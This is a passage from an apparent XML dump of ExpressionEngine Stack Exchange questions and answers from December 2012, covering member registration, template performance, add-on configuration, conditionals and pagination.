OwnerUserId="150" LastEditorUserId="150" LastEditDate="2012-12-18T23:10:06.587" LastActivityDate="2012-12-18T23:10:06.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1804" PostTypeId="1" AcceptedAnswerId="1923" CreationDate="2012-12-18T07:33:02.097" Score="1" ViewCount="228" Body="&lt;p&gt;I'm trying to create a SafeCracker form to register users (I'm using SafeCracker Registration). Registration form only has 3 fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;email&lt;/li&gt;&#xA;&lt;li&gt;password&lt;/li&gt;&#xA;&lt;li&gt;password_confirm&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I enter all the fields and click submit, all seems to go well. I receive an email that says I need to activate my account. When I click the link, I am redirected to a page that says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;Invalid activation request.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it seems like the registration process worked, though. I see my account in the member group id that I defined the in SafeCracker registration tag pair. &lt;strong&gt;Any ideas what's causing &quot;Invalid activation request?&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, should I be seeing newly registered profiles immediately in the group member I defined? Or should it go to &quot;Pending&quot; first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;group_id&lt;/code&gt; parameter is not specified in the tag pair, registrants go from &quot;Pending&quot; prior to activating, then to &quot;Members&quot; after activating. No more &quot;Invalid activation request&quot; error.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-12-18T07:58:04.163" LastActivityDate="2012-12-20T00:39:16.920" Title="EE v2.5.3 + SafeCracker Registration = Invalid activation request" Tags="|members|safecracker|safecracker-registration|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1805" PostTypeId="2" ParentId="1766" CreationDate="2012-12-18T09:45:52.917" Score="10" Body="&lt;p&gt;If you're getting these kind of issues for a single &lt;code&gt;channel:entries&lt;/code&gt; loop with no other &quot;heavy&quot; tags nested inside, and caching of any kind really isn't an option for you, then my first question would be, what &lt;strong&gt;are&lt;/strong&gt; you doing in that template? If you're doing nothing funky (no embeds, complex relationships etc) then I'd start further down the stack, but without seeing some code it's pretty tough to tell where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But looking generally, you've essentially got three possible areas of attack:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Template optimisation&lt;/li&gt;&#xA;&lt;li&gt;Stack optimisation&lt;/li&gt;&#xA;&lt;li&gt;Bypassing channel entries&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;First though I'd get some lower level benchmark data - the core one being to see where you are becoming resource contrained - ie is it CPU or memory usage that's holding you back. &lt;a href=&quot;http://munin-monitoring.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Munin&lt;/a&gt; is you're friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found &lt;a href=&quot;http://squarebit.co.uk/graphite&quot; rel=&quot;nofollow noreferrer&quot;&gt;graphite&lt;/a&gt; to be a really useful way of finding bottlenecks in the template parsing process. If you haven't used it, it basically replaces the default template debugger with a graph, which really helps to visualise where things are getting held up.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Template optimisation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If your benchmarking shows the issue is slow PHP execution during your entries loop, take a close look at any data manipulation / plugin tags being executed for each result. Ideally post some of your template code so we can have a look. If you're not doing anything crazy move on to stack optimisation instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're having to do any jumping through hoops to navigate the &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6/what-is-parse-order-and-how-does-it-affect-how-my-template-is-coded-rendered&quot;&gt;parse order&lt;/a&gt; take a look at the very wonderful &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stash&lt;/a&gt;, which has &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow noreferrer&quot;&gt;completely changed the way many of us code EE templates&lt;/a&gt;. It sounds as if you're already using If/Else, have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow noreferrer&quot;&gt;Switchee&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stack optimisation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Of both PHP &amp;amp; MySQL, but also your webserver. From on your benchmarking/debugger output you should be able to tell whether the issue is PHP execution time or MySQL query execution time. Use that to inform where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With MySQL even basic tuning can produce serious performance gains. If you have access to a dba/sysadmin type set them loose, otherwise if you're happy in the shell take a crack at using &lt;a href=&quot;https://github.com/rackerhacker/MySQLTuner-perl&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQLTuner&lt;/a&gt;. Does your data need to be literally real time or could you cope with a few seconds of lag? If you're getting a large number of parallel requests for the same complex data then even very short lived caching in MySQL can help considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also take a look at what PHP handler you're using. If it's an option for you in terms of cost, you might also want to look at your hardware setup, I've switched a couple of high traffic EE sites to SSD drives and the speed gains have been unbelievable (especially when using Ngnix + FastCGI).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bypassing channel entries&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The reason I've put this last, is that I've gone down this route in the past, and while the performance gains can be considerable, the downside is a massive increase in the fragility of your code and an accompanying decrease in its readabilty. Do bear in mind that it also does not escape values on it's own, so can open SQL injection vulnerabilities if using dynamic/user inputted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mitigate against these factors I'd always recommend using the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow noreferrer&quot;&gt;Active Record&lt;/a&gt; plugin in preference to the native query module, as it escapes vars and is far more readable. You've still got the issue of hard coding your &lt;code&gt;channel_data&lt;/code&gt; column names into your template though, which is icky to say the least. Either comment the heck out of your code or consider using snippets/low varialbes to substitute in readable/easily updateable variable names instead (eg map &lt;code&gt;field_id_XX&lt;/code&gt; to &lt;code&gt;sn_your_field_name&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively do have a look at the &lt;a href=&quot;https://github.com/ckimrie/ee-data-api&quot; rel=&quot;nofollow noreferrer&quot;&gt;Data API&lt;/a&gt; module Ben suggests, though it's pretty alpha at current.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-18T09:45:52.917" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1806" PostTypeId="1" CreationDate="2012-12-18T10:11:06.573" Score="2" ViewCount="143" Body="&lt;p&gt;Is there a way to upload a file in a Frontend Edit Form (Solspaces «User») and write the new file-path into a member-custom-field (text-field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to let users add/upload more than only one Membership-Photo to their profiles.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditDate="2012-12-19T16:34:58.770" LastActivityDate="2012-12-19T16:34:58.770" Title="Upload File and write path to text-field in Frontend/User Edit Form" Tags="|members|file-uploads|solspace-user|saef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1807" PostTypeId="1" CreationDate="2012-12-18T10:21:39.557" Score="3" ViewCount="151" Body="&lt;p&gt;I'm using the Google Map Add-On from ObjectiveHTML. When entering a route using the field type in an EE channel entry the distance (as displayed in &quot;Show Details&quot;) is always displayed in Kilometers. Does anyone know how this can be changed to display in miles?&lt;/p&gt;&#xA;" OwnerUserId="1508" LastEditorUserId="104" LastEditDate="2012-12-18T10:34:19.227" LastActivityDate="2012-12-18T13:06:42.453" Title="Changing the distance metric in ObjectiveHTML's Google Maps" Tags="|add-on|google-maps-for-ee|fieldtype|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1808" PostTypeId="1" CreationDate="2012-12-18T10:26:53.890" Score="6" ViewCount="117" Body="&lt;p&gt;I'm looking for the best multilingual 'tag' approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm exploring the &lt;a href=&quot;http://devot-ee.com/add-ons/tagger&quot;&gt;Tagger&lt;/a&gt; addon from DevDemon.&lt;br&gt;&#xA;I was thinking about splitting up the tags in different 'language'-groups,&lt;br&gt;&#xA;but that doesn't seem like a good solution. Because, when adding/editing an entry... &#xA;you would have to add each tag in all the different languages, wich will result in a huge (inconvenient) list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this before &amp;amp; what was your approach?&lt;br&gt;&#xA;Pros &amp;amp; cons?&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2012-12-18T16:15:03.660" Title="Multilingual tagging approach?" Tags="|add-on|multilingual|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1809" PostTypeId="2" ParentId="1761" CreationDate="2012-12-18T10:33:25.937" Score="2" Body="&lt;p&gt;Here's a &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3aczmKlsqpbwkJ%3acartthrob.com/docs/pages/price_modifiers/index.html&quot; rel=&quot;nofollow&quot;&gt;link to google's cache of the CT price modifiers docs&lt;/a&gt; for use while their site is still down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CT permits you to use a matrix field for as your price modifier field, so with  some extra columns and with the help of a little jQuery magic to make the UI nicer we can get to where you want to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your price modifiers matrix with additional columns for &lt;code&gt;colour&lt;/code&gt; and &lt;code&gt;size&lt;/code&gt; in addtion to the required &lt;code&gt;option&lt;/code&gt; (url friendly value), an &lt;code&gt;option_name&lt;/code&gt; (string) and a &lt;code&gt;price&lt;/code&gt; value (ie a positive or negative amount to vary the base price by). Alternatively, avoid setting a base price and use the modifiers themselves to set the whole price of the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, structure your &lt;code&gt;option&lt;/code&gt; value such that is is the colour and size values combined with a separator such as an underscore, eg &lt;code&gt;red_xl&lt;/code&gt;, &lt;code&gt;green_xl&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in your template you can use the built-in CT &lt;code&gt;item_options&lt;/code&gt; &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3apAFAWVHrfOEJ%3acartthrob.com/docs/tags_detail/add_to_cart_form/index.html&quot; rel=&quot;nofollow&quot;&gt;magic&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;default-options&quot;&amp;gt;&#xA;    {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; }&#xA;    {select}&#xA;        &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;{option_name} {price}&amp;lt;/option&amp;gt;&#xA;    {/select}&#xA;    {/exp:cartthrob:item_options}&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what non-js users will see, perfectly usable but not super friendly. Let's fix that with some jQuery. In your template we can write out a couple of JS objects from your &lt;code&gt;item_options&lt;/code&gt; field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;script&amp;gt;&#xA;    var prodOpts = {&#xA;      sizes: [],&#xA;      colours:[]&#xA;    };&#xA;    {item_modifier_field}&#xA;      prodOpts.sizes.push({size});&#xA;      prodOpts.colours.push({colour});&#xA;    {/item_modifier_field}&#xA;  &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in an external script / on DOM ready, just hide the &lt;code&gt;.default-options&lt;/code&gt; &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, iterate over &lt;code&gt;prodOpts.sizes&lt;/code&gt; and &lt;code&gt;prodOpts.colours&lt;/code&gt; and build &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt;s for each. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inject these into the page and hook up some event handlers so that when both of your dynamically created selects have been set to non-default value, your hidden CT populated select is updated (you can get the value to select by concatenating the &lt;code&gt;size&lt;/code&gt; and &lt;code&gt;colour&lt;/code&gt; values together with your chosen separator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what your JavaScript level is, and I'm not going to write the &lt;em&gt;whole&lt;/em&gt; thing for you, but if you get stuck be sure to ask another question and I'll do my best to help out.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-18T13:41:05.820" LastActivityDate="2012-12-18T13:41:05.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1810" PostTypeId="2" ParentId="1807" CreationDate="2012-12-18T10:54:22.880" Score="1" Body="&lt;p&gt;I'm sure Justin (ObjectiveHTML) will correct me if I'm wrong, but I don't think there is a way to configure this as an option on the FT at current. It &lt;a href=&quot;https://objectivehtml.com/google-maps/documentation/tag/search#metric&quot; rel=&quot;nofollow&quot;&gt;is possible&lt;/a&gt; to set a &lt;code&gt;metric&lt;/code&gt; param on &lt;code&gt;{exp:gmap:search}&lt;/code&gt; but that's no help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THough I don't have a copy of the addon's source, the &lt;a href=&quot;https://developers.google.com/maps/documentation/directions/#UnitSystems&quot; rel=&quot;nofollow&quot;&gt;The Google Directions API&lt;/a&gt; specifies a &lt;code&gt;units&lt;/code&gt; parameter with values of either &lt;code&gt;imperial&lt;/code&gt; or &lt;code&gt;metric&lt;/code&gt;. If you're willing to dig in to the code you should be able to find where the request is generated and fairly easily add a &lt;code&gt;units=imperial&lt;/code&gt; parameter to the request.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-18T10:54:22.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1811" PostTypeId="2" ParentId="1807" CreationDate="2012-12-18T13:06:42.453" Score="2" Body="&lt;p&gt;I uploaded a screenshot of my default setup. I simply create a Gmap field and create a route with an origin and destination. You can see my distance is in miles. I think Google is trying to automatically determine which metric to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you propose is a good idea though. Being able to force that metric to be something would be nice. I will do some testing to figure out how to best get that data changed and I will report back here. But for now, I don't think it's a problem with the code, rather we just need a way to override the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/18H1s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-18T13:06:42.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1812" PostTypeId="1" CreationDate="2012-12-18T13:09:03.220" Score="3" ViewCount="146" Body="&lt;p&gt;Does anyone know if it's possible to show the 'Login as member' link, (available to super admins  on Member Profile view, under 'Member Administration') to other member groups??&lt;/p&gt;&#xA;" OwnerUserId="431" LastActivityDate="2012-12-18T13:19:35.880" Title="Is it possible to show the 'Login as member' link to non super admin groups?" Tags="|members|accounts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1813" PostTypeId="2" ParentId="1812" CreationDate="2012-12-18T13:15:43.120" Score="1" Body="&lt;p&gt;This is not possible without hacking the core code. You could write an extension or something to do it most likely so you didn't have to hack the code, but bottom line is some code must be written.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-18T13:15:43.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1814" PostTypeId="2" ParentId="1812" CreationDate="2012-12-18T13:19:35.880" Score="3" Body="&lt;p&gt;Unfortunately this is not possible without hacking the EE core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the &lt;code&gt;do_login_as_member()&lt;/code&gt; function around line 590 of &lt;code&gt;system/expressionengine/controllers/cp/members.php&lt;/code&gt; you will see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($this-&amp;gt;session-&amp;gt;userdata['group_id'] != 1)&#xA;    {&#xA;        show_error(lang('unauthorized_access'));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ie, the access restriction of this function to superadmins is hardcoded into the core. You would need to either hack that file (and document it so that when you update EE you can reinstate it) or write an extension based on the code from that function.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-18T13:19:35.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1815" PostTypeId="2" ParentId="1761" CreationDate="2012-12-18T13:57:38.667" Score="1" Body="&lt;p&gt;Cartthrob is about to release a product option configurator fieldtype which will be exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to create option groups (eg. color, size).&lt;br&gt;&#xA;In each group you can options (eg. red, blue) and prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fieldtype will automatically generate fields for every combination of option groups.&#xA;(eg. large red, large blue, small red, small blue, etc).&lt;br&gt;&#xA;It'll allow you to track inventory (optional) for each combination and calculate the prices automatically based on your options. You can also enter option names (perhaps an SKU) and labels (eg. Large Red) for the combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris from CT &lt;a href=&quot;https://twitter.com/cartthrob/status/273109657088847873&quot; rel=&quot;nofollow&quot;&gt;tweeted&lt;/a&gt; a link to a &lt;a href=&quot;http://screencast.com/t/gPd5JTSpddH&quot; rel=&quot;nofollow&quot;&gt;short screencast&lt;/a&gt; about this recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can wait just a little longer, this'll be the ticket.&lt;br&gt;&#xA;If not, you'll have to go with Tom's solution.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2012-12-18T13:57:38.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1816" PostTypeId="2" ParentId="1765" CreationDate="2012-12-18T14:48:00.747" Score="1" Body="&lt;p&gt;Your current &lt;strong&gt;.htaccess&lt;/strong&gt; file indicates that any files or directories actually found on the server will be served as-is. So if you throw some static files (or even another application) in a folder called &lt;strong&gt;/foo&lt;/strong&gt;, it should load without that request being redirected through EE's controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are telling the server to only execute this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /~domain/index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the request is not an actual file or folder on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a subdomain, you'd want to look at your hosting control panel to set that up, and likely point it to a different webspace altogether.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-18T14:48:00.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1817" PostTypeId="2" ParentId="1808" CreationDate="2012-12-18T14:56:47.077" Score="1" Body="&lt;p&gt;I've been longing for a multilingual tagging solution myself. You're right, even with groups, I'm not sure Tagger will quite get you there. Groupings are not visible in the entry screen, for example.  Separate language groups would help you display language(group) specific tag clouds for example, but you'd have to add the tags then group them in the module's settings panel. Not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one way I have done it for multilingual, though far from perfect, is to create a channel for tags, and use Playa to relate the tags to your entries, using categories to provide simple organization of the tags (starting with language, for example). Not as friendly as Tagger would be if it had a simple language &quot;switch&quot; available, but it does centralize the tags and allows you to use the Playa filter options to find the tags to assign.  But this has its limitations too - the obvious one being that, unlike with tags, you cannot add new tags from within the entry screen - you'd have to add the tags first to the tags channel.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2012-12-18T15:07:18.690" LastActivityDate="2012-12-18T15:07:18.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1819" PostTypeId="1" AcceptedAnswerId="1829" CreationDate="2012-12-18T15:09:11.457" Score="3" ViewCount="260" Body="&lt;p&gt;I've got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;desc&quot; OR segment_4 == &quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and EE is just ignoring it or not parsing it or something. I can try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;desc&quot; || segment_4 == &quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that doesn't work either. However, if i have &lt;code&gt;{if segment_3 == &quot;desc&quot;}&lt;/code&gt; on it's own, that works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here huh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More of the code around this, it's in a channel:entries tag and it's to define whether a orderby and sort paramater is applied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;channel=&quot;my_channel&quot;&#xA;limit=&quot;15&quot;&#xA;paginate=&quot;bottom&quot;&#xA;{if segment_3 != &quot;asc&quot; OR segment_4 != &quot;desc&quot;} category={segment_3_category_id} {/if}&#xA;{if segment_3 == &quot;desc&quot; || segment_4 == &quot;desc&quot;} orderby=&quot;woa-price&quot; sort=&quot;desc&quot;{/if}&#xA;{/channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="42" LastEditorUserId="42" LastEditDate="2012-12-18T16:27:31.683" LastActivityDate="2012-12-18T16:52:58.493" Title="Conditional Global Variables OR simply not working" Tags="|conditionals|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1820" PostTypeId="2" ParentId="1819" CreationDate="2012-12-18T15:14:29.310" Score="1" Body="&lt;p&gt;It may be treating the simple conditional and the complex conditional differently.  Maybe try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{segment_3}' == &quot;desc&quot; OR '{segment_4}' == &quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if that then parses.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-18T15:14:29.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1821" PostTypeId="1" AcceptedAnswerId="1822" CreationDate="2012-12-18T15:19:17.023" Score="4" ViewCount="96" Body="&lt;p&gt;I just created a new EE member group, then moved a member from group 2 into the new group, and suddenly the permissions for group 2 - the old group - have been changed. That group is no longer allowed to post into any channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone ever seen this? Is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2012-12-18T15:31:50.740" Title="Moving member to a different group changes group permissions: Is this a bug?" Tags="|members|bug|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1822" PostTypeId="2" ParentId="1821" CreationDate="2012-12-18T15:31:50.740" Score="3" Body="&lt;p&gt;This sounds like it could be related to this bug:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/18234&quot; rel=&quot;nofollow&quot;&gt;Channel posting privileges being removed from member groups&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-12-18T15:31:50.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1823" PostTypeId="1" AcceptedAnswerId="1824" CreationDate="2012-12-18T15:50:30.363" Score="4" ViewCount="835" Body="&lt;p&gt;I have a channel entries loop that I need to paginate but am having an issue with the location of the pagination code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel entries loop surrounds a table structure but is inside the main table tags as to not repeat them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination code needs to be outside of the main table tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2012-12-18T16:11:39.813" Title="Pagination outside of channel entries tag?" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1824" PostTypeId="2" ParentId="1823" CreationDate="2012-12-18T16:11:39.813" Score="9" Body="&lt;p&gt;Sure - something like this (simplified obviously):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries paginate=&quot;bottom&quot;}&#xA;    {if count == &quot;1&quot;}&amp;lt;table&amp;gt;{/if}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{content}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {if count == total_results}&amp;lt;/table&amp;gt;{/if}&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;{/exo:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, your pagination links should appear after your table closes.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-18T16:11:39.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1825" PostTypeId="2" ParentId="1808" CreationDate="2012-12-18T16:15:03.660" Score="0" Body="&lt;p&gt;It's not ideal, but our approach has been to use primarily 'English' tags, unless a particular form language tag shows up a lot in search results. We use Tags by Solspace and it's great, but what we found is just as @Think Graphical mentioned, &quot;the tags get cluttered very quickly, with all the multiple languages&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our system, maybe different from others, so obviously, evaluate against what it is you're trying to accomplish. Our client basically produces multilingual publications on various issues concerning consumers— from credit to banking to identity theft, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frequently, the person searching for the publication in a particular language, doesn't actually speak that language or maybe can't read well in the language. For example, a social worker helping a first generation immigrant from Korea or the grandchild of a Hmong immigrant. The grandchild speaks English and Hmong, but may not read the language at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We found, when testing, that english language tags got more use than the foreign language tags, but search was a different matter. Since we were trying to limit the number of tags per entry (reduce clutter, improve/keep SEO ratings), removing tags duplicated in multiple languages was the first thing to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For us, search is fully multilingual compatible, and that's what we encourage for looking for multilingual words and phrases.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-18T16:15:03.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1826" PostTypeId="1" AcceptedAnswerId="1828" CreationDate="2012-12-18T16:39:38.740" Score="2" ViewCount="2037" Body="&lt;p&gt;I need to pass a value from a form to an external php script via a url, but my code isn't working. When I submit my form, I'm expecting the url to look like this: example.com/script.php?zip=12345 but what I'm getting is this: example.com/script.php? with nothing after the ?.&#xA;My form code is below. Am I doing something wrong, or do I need to change a setting somewhere?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;form id=&quot;map&quot; method=&quot;get&quot; action=&quot;script.php&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;inline&quot; id=&quot;zip&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Go&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="213" LastActivityDate="2012-12-18T16:45:18.640" Title="How to pass form data to external php script" Tags="|php|url|forms|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1827" PostTypeId="2" ParentId="1819" CreationDate="2012-12-18T16:43:32.167" Score="4" Body="&lt;p&gt;You're running into a &lt;a href=&quot;https://expressionengine.stackexchange.com/a/53/55&quot;&gt;parse order&lt;/a&gt; issue here. This is because when you have multiple comparison operators in a conditional, that's an &lt;em&gt;advanced conditional&lt;/em&gt;. Advanced conditionals are parsed &lt;em&gt;after&lt;/em&gt; module tags (like &lt;code&gt;channel:entries&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution might work for you though - use &lt;code&gt;preload_replace&lt;/code&gt; variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == 'desc'}&#xA;    {preload_replace:orderby=&quot;woa-price&quot;}&#xA;    {preload_replace:sort=&quot;desc&quot;}&#xA;{/if}&#xA;{if segment_4 == 'desc'}&#xA;    {preload_replace:orderby=&quot;woa-price&quot;}&#xA;    